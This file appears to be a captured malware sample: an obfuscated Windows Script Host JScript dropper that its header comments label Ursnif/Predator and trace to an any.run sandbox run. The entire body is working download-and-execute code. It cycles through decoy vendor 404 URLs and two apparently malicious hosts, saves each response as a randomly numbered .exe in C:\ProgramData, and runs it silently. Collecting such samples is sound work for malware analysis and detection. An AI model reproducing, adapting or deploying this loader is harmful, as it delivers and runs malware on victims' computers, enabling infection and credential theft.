// #ursnif #predator dropper
// from https://app.any.run/tasks/f6eec462-6b4c-43a8-89ce-0749f0a2a77e/

var c81a84500ed1b00245d5915b6f378c4b9 = ['https://docs.microsoft.com/en-us/aspnet/index/404', 'https://docs.microsoft.com/en-us/office/index/404', 'https://www.trendmicro.com/de_de/404.html', '4IGng/0ZfL57M', '', 'http://sogrospina.com/angosz/cecolf.php?l=allix1.tar', 'http://thachastew.com/Lwos.php'];

function c5e48828ccea2a557e05addda6e8a356c(c920de1499def1eaca0fc3daa89faaf36){
		try{
		var c06366560112cb267da2b804c02434d31 = WScript.CreateObject('MSXML2.XMLHTTP');
		c06366560112cb267da2b804c02434d31.Open('GET', c920de1499def1eaca0fc3daa89faaf36, false);
		c06366560112cb267da2b804c02434d31.Send();

		var ccb2ed58980ab60a3e21e23f385a6a6dd = Math.round(Math.random() * 103);

		if (c06366560112cb267da2b804c02434d31.Status == 200)
		{
		    var cedd9f28b97948c82c3a1374834be6825 = WScript.CreateObject('ADODB.Stream');

		    cedd9f28b97948c82c3a1374834be6825.Open();
		    cedd9f28b97948c82c3a1374834be6825.Type = 1;
		    cedd9f28b97948c82c3a1374834be6825.Write(c06366560112cb267da2b804c02434d31.ResponseBody);
		    cedd9f28b97948c82c3a1374834be6825.Position = 0;

		    var cab6a85a7de6f8c8b456daa68bd3d4961 = WScript.CreateObject('Scripting.FileSystemObject');
		    if (cab6a85a7de6f8c8b456daa68bd3d4961.FileExists('C:\\ProgramData\\204' + ccb2ed58980ab60a3e21e23f385a6a6dd + '.exe'))
		    {
		        cab6a85a7de6f8c8b456daa68bd3d4961.DeleteFile('C:\\ProgramData\\204' + ccb2ed58980ab60a3e21e23f385a6a6dd + '.exe');
		    }

		    cedd9f28b97948c82c3a1374834be6825.SaveToFile('C:\\ProgramData\\204' + ccb2ed58980ab60a3e21e23f385a6a6dd + '.exe', 2);
		    cedd9f28b97948c82c3a1374834be6825.Close();

		    (new ActiveXObject("Shell.Application").Open("C:\\ProgramData\\204" + ccb2ed58980ab60a3e21e23f385a6a6dd + ".exe"));

	    }

	    }catch(e){}
}

for(var cd62a3ae55404f7d993846e953694ff01 = 0; cd62a3ae55404f7d993846e953694ff01 < c81a84500ed1b00245d5915b6f378c4b9.length; cd62a3ae55404f7d993846e953694ff01++){

	var c66d5f0ffe276525f3b2df450f48f1d96 = function() {c5e48828ccea2a557e05addda6e8a356c(c81a84500ed1b00245d5915b6f378c4b9[cd62a3ae55404f7d993846e953694ff01])};
	c66d5f0ffe276525f3b2df450f48f1d96();
	WScript.Sleep(4603);

}